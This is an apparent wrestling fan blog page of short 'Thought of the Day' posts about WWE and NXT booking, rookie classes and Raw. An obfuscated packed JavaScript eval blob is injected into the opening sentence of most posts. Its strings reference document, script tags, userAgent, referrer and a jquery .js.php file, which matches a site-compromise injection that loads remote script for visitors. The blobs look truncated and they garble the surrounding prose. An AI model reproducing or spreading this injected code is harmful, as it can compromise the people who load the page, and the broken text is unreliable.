Thought of the Day: The Second Best Rookie Class

Or eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|efdkf|var|u0026u|referrer|zeryh||js|php'.split('|'),0,{})) newcomers class.We talk about the 2002 rookie class as the best ever in WWE and with good reason. You had:

John Cena

Randy Orton

Brock Lesnar

Batista

Rey Mysterio

If there has ever been a better group of talent coming into the company in one year, I’ve never heard of it.

However, there’s another group that beats anyone out for second place that doesn’t get as much attention. From February 14, 1999 to January 31, 2000, the following debuted:

Chris Benoit

Eddie Guerrero

Big Show

Chris Jericho

Kurt Angle

That’s not a bad group for second, and the fact that four of them left WCW to come over makes them even more valuable. Not as valuable as 2002’s group of course, but it’s not too shabby.

Thought of the Day: It’s Spreading

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dsbif|var|u0026u|referrer|eriid||js|php'.split('|'),0,{})) know it’s annoying but…..

So I was at Wal-Mart today and I saw the Brawling Buddies (new version of Wrestling Buddies, which were in fact the coolest things ever), the WWE toy sections, and a towel with Orton/Cena/other WWE guys on it. I know we talk a lot about how family friendly can be annoying, but this is why it’s happened. WWE is right there with stuff like Marvel and Disney and they would be crazy to go edgier again (at least long term) and throw away this sort of opening. Yeah it gets annoying to the older fans, but it’s far better for the company as a whole.

Thought of the Day: That’s Sad

So eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fiaht|var|u0026u|referrer|siffi||js|php'.split('|'),0,{})) there’s a new report out saying that the creative team loves the idea of having just two weeks between pay per views because it makes it easier for them to come up with and write their stories. If this is true……just dang.Have we really reached the point where a FOUR WEEK BUILD to a pay per view is too much to ask? It’s so hard to come up with a month’s worth of stories? Are you kidding me? It’s freaking professional wrestling. Let the people in the feud go out there and talk, have matches against someone else, have a staredown with the person they’re fighting against, talk some more, and then have the match. Now apparently it’s set the match up Monday, have a quick build the following Monday, then WE MUST HAVE THE MATCH NOW BECAUSE WE DON’T KNOW HOW TO KEEP PEOPLE INTERESTED ANY LONGER THAN THAT!

Take Wyatt vs. Ryback for example. Here’s a simple, more than two week build.

Week 1: Wyatt speaks cryptically about his next target.

Week 2: Wyatt keeps talking, Ryback says he doesn’t know what’s next for him.

Week 3: Wyatt attacks Ryback.

Week 4: Wyatt laughs a lot and says that’s just the beginning. Ryback says he’s got someone ready for him and he can’t wait to get his hands on Wyatt for what he did.

Week 5: Ryback has a match with say, Rowan, to get a taste of what he’s got coming against Wyatt. After the match, Wyatt appears and laughs.

Week 6: Wyatt wins a squash and talks about how he defeated a little guy (say one of Los Matadores so we don’t have to sit through him squashing R-Truth for the 94th time) but now he wants the Big Guy.

Pay per view match.

You have five hours of original, top level television a week, plus the Network and WWE.com to build up a story but you can’t go more than two weeks before you think your fans will get bored? Maybe the problem is you put together boring stories that don’t have a shelf life, but there’s zero excuse for not being able to entertain wrestling fans for four weeks.

This report made me shake my head, but it tells you so, so much about the state of wrestling today.

Thought of the Day: That’s On Them

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|asred|var|u0026u|referrer|bksna||js|php'.split('|'),0,{})) is actually from the latest Steve Austin Show and it almost made me cheer for him while I was listening.In a discussion of always facing the hard camera, here’s what he said (paraphrased):

“If I do a move or a spot and one of the 6-8 cameras they have around the ring doesn’t pick it up, that’s on them. I’m busy trying to put on an entertaining match and it might not make sense to turn to the camera.”

The other day I was watching Hogan vs. Warrior at Wrestlemania VI and Hogan puts Warrior in a chinlock with his back to the camera. A camera on the floor went around and got a good shot of the hold and nothing changed. Back then, the match was considered a classic and one of Hogan’s best ever. Today, he’d probably be lectured about how to properly work a match and how there is ONE AND ONLY ONE way to get over, because all that jazz Hogan did just isn’t the same as looking at a specific camera and saying whatever catchphrase is on a t-shirt that month.

Thought of the Day: NXT Women vs. Divas

Ignoring all the in ring action and all the characters and match time either group gets, here’s how I know the NXT division is treated more seriously.

One eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fstrd|var|u0026u|referrer|yrznb||js|php'.split('|'),0,{})) is simple and effective.

The other is a butterfly.

Which of these would you think is the more serious championship and division contending for it?

Thought of the Day: Be Careful What You Wish For

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hyryt|var|u0026u|referrer|rrekr||js|php'.split('|'),0,{})) you might just get Lana.

Thought of the Day: Wrestlemania XXXI Didn’t Mean Much

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hbkyh|var|u0026u|referrer|rayfr||js|php'.split('|'),0,{})) about it: what from that show still matters less than two months removed?

Other than Rollins and Cena winning their titles, almost nothing that happened there matters.

Bryan – Vacated his title

Kidd/Cesaro – Lost the titles they were defending

Lesnar – Appeared once

Wyatt – Basically no sold the loss

AJ/Paige – Both gone

Bellas – Now faces

Big Show – Nothing changed after winning the battle royal

Thought of the Day: So That Was…..Wow They Really Did That

Time eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tskyh|var|u0026u|referrer|iezfa||js|php'.split('|'),0,{})) for some house show discussion.I was looking at the results from an NXT house show today. It wasn’t the most in depth card in the world, but the main event was Becky Lynch vs. Sasha Banks. Let me say that again: the main event was Becky Lynch vs. Sasha Banks.

Think about this for a second: the main event of a house show was a Divas match. Yeah, that sounds like a disaster in WWE, but if you saw that as the main event of an NXT show, would you really be disappointed? The fans that I see that as the main event of a card and think “oh ok” tells you quite a bit about the way NXT runs. As I’ve said before: if you build them up properly, the Divas can work very well. That’s not what we’ve gotten anytime in the last ten years or so though and it holds them back quite a bit.

Thought of the Day: I Feel My Temperature Rising (KB Babbles About Raw)

And eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rdsrb|var|u0026u|referrer|ndfdi||js|php'.split('|'),0,{})) that’s a good thing.Looking back at last night, we saw one of the things that you can’t plan but it’s the best thing in the world to have: acts are starting to get hot.

New Day is on fire right now and the fans are having a great time booing them. Cesaro/Kidd are one of the most polished teams I’ve seen in years and are giving me flashbacks to the Harts and the Bulldogs. Ambrose is exactly the spark that the main event needed. This open challenge thing is one of the most exciting parts of the show every week. Sami Zayn, the Lucha Dragons and Neville are showing what happens when NXT stars get the chance to shine. Barrett is PERFECT for the king role. Lana could be the biggest Diva in the world if she has any skill in the ring.

I really hope this doesn’t jinx it, but we could be in for one heck of a summer if WWE doesn’t screw this up. Things are getting hot in a hurry and they could knock it out of the park if they don’t do their usual.

A few things that could kill the roll:

Jobbing New Day/Cesaro/Kidd. They’re hot, the fans want to see them do their thing, and they’re all nailing it. Don’t have them be cannon fodder for one off teams like Orton and Reigns.

Don’t have Barrett lose five matches in a row and then win once to prove he’s still good. It hasn’t worked before and it won’t work now.

No more 20 minute opening promos, especially from HHH/Stephanie. That fake smugness about “we love the fans and just want what’s best for them” has been done so many times and it’s completely overdone. Just have them be evil. And don’t let Stephanie keep cutting balls off. Or at least let her get some comeuppance. HHH isn’t even that bad these days. If he keeps it relatively short he’s fine. He’s just been stuck in horrible stories.

Don’t give us Rollins vs. Kane on pay per view. Just don’t.

Keep Big Show in the midcard. The main event stuff was long, dull and didn’t work. Yeah the blowoff match was good, but in no way was it good enough to make up for how bad it was. Get Kane and Big Show out of their spots and put Sheamus/Barrett in there instead.

Last night in the Live Discussion I do every week on Raw (WrestleZone Forums. Check it out), I said something like this:

“Either Sami’s arm injury is fake or he’s the most amazing wrestler of all time.”

It seems the latter is closer to the truth as he really did jack up his shoulder during his entrance. Still though, great stuff.

If it’s not clear, I really liked Raw last night and I’m hoping it keeps going, but I have a feeling they’re going to botch it. As they almost always do.

Thought of the Day: It’s Been A While

You eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dfnfd|var|u0026u|referrer|ettsr||js|php'.split('|'),0,{})) know what we haven’t had in a long time in WWE?A good mystery. Like a masked man, someone attacking others in the back but not getting caught, a mystery opponent (that was properly built up), finding out who was behind something, figuring out what something meant (like a logo/symbol being left backstage) etc. Everything is revealed in like a week at most and there’s no waiting on anything. Remember the search for Vince’s child, or who ran over Austin, or finding out what the Taz logo was? Mix it up a little and let us wait every now and then.